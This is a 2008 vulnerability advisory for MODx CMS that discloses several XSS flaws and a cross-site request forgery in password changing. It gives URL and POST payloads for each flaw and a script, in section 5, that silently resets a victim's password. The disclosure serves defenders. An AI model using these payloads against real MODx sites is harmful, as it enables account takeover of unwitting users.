DSECRG-08-013.txt

2008-02-08T00:00:00
ID PACKETSTORM:63380
Type packetstorm
Reporter Sh2kerr
Modified 2008-02-08T00:00:00

Description

                                        
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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-013  
  
  
Application: MODx CMS  
Versions Affected: 0.9.6.1, 0.9.6.1p1  
Vendor URL: http://modxcms.com/  
Bugs: XSS, SiXSS, stored XSS, Change User Password XSRF Vulnerability.  
Exploits: YES  
Reported: 11.01.2008  
Vendor response: 11.01.2008  
Updated Report: 29.01.2008  
Vendor response: none  
Solution: none  
Date of Public Advisory: 07.02.2008  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
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MODx system has multiple security vulnerabilities:  
  
1. Linked XSS  
2. Linked SiXSS  
3. XSS in POST  
4. Stored XSS in POST  
5. Change User Password XSRF Vulnerability  
  
  
  
Details  
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1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string.  
  
  
1.1 Linked XSS vulnerability found in manager/index.php. GET parameter "search"  
  
Search string is available in pages:  
  
http://[server]/[installdir]/manager/index.php?a=75  
  
http://[server]/[installdir]/manager/index.php?a=84  
  
http://[server]/[installdir]/manager/index.php?a=99  
  
http://[server]/[installdir]/manager/index.php?a=106  
  
http://[server]/[installdir]/manager/index.php?a=114  
  
  
Example:  
  
http://[server]/[installdir]/manager/index.php?a=75&search="><IMG SRC="javascript:alert('DSecRG XSS')  
  
http://[server]/[installdir]/manager/index.php?a=84&search="><IMG SRC="javascript:alert('DSecRG XSS')  
  
  
1.2 Linked XSS vulnerability found in index.php. GET parameter "highlight"  
  
Example:  
  
http://[server]/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert('DSecRG XSS')  
  
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2. Multiple linked SiXSS vulnerabilities found. Attacker can inject XSS code in SQL Error.  
  
  
2.1 Vulnerability found in script manager/index.php. GET parameter "a"  
  
Example:  
  
http://[server]/[installdir]/manager/index.php?a='<img src="javascript:alert('DSecRG XSS')">  
  
  
2.2 Vulnerability found in script index.php. GET parameter "id"  
  
Example:  
  
http://[server]/[installdir]/index.php?id='<img src="javascript:alert('DSecRG XSS')">  
  
-------------------------------------------------------------------------------  
  
  
3. XSS in POST, attacker can inject XSS in POST parameter  
  
  
3.1 Vulnerability found in script index-ajax.php.   
  
POST parameters "docgrp" and "moreResultsPage".  
  
Example:  
  
moreResultsPage = "><IMG SRC="javascript:alert('DSecRG XSS')">  
  
  
3.2 Vulnerability found in script index.php.   
  
POST parameters "email", "name" and "parent".  
  
Example:  
  
name = " style="background:url(javascript:alert('DSecRG XSS'))  
  
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4. Vulnerability found in script manager/index.php?a=10   
  
POST parameters "messagesubject" and "messagebody".  
  
Attacker can comprose message with script code in subject and message body.  
  
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5. Change User Password XSRF Vulnerability  
  
Previous password not required to set a new password.  
  
Using XSS vulnerabilities, attacker can include following code to change user password:  
  
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<IMG%20SRC=`javascript:var%20objHTTP%20=%20new%20ActiveXObject('MSXML2.XMLHTTP');%20objHTTP.open('POST',"http://[server]/[installdir]/manager/index.php?a=34",false);%20objHTTP.setRequestHeader('Content-Type',%20'application/x-www-form-urlencoded');%20objHTTP.send("pass1=123456%26pass2=123456");`>  
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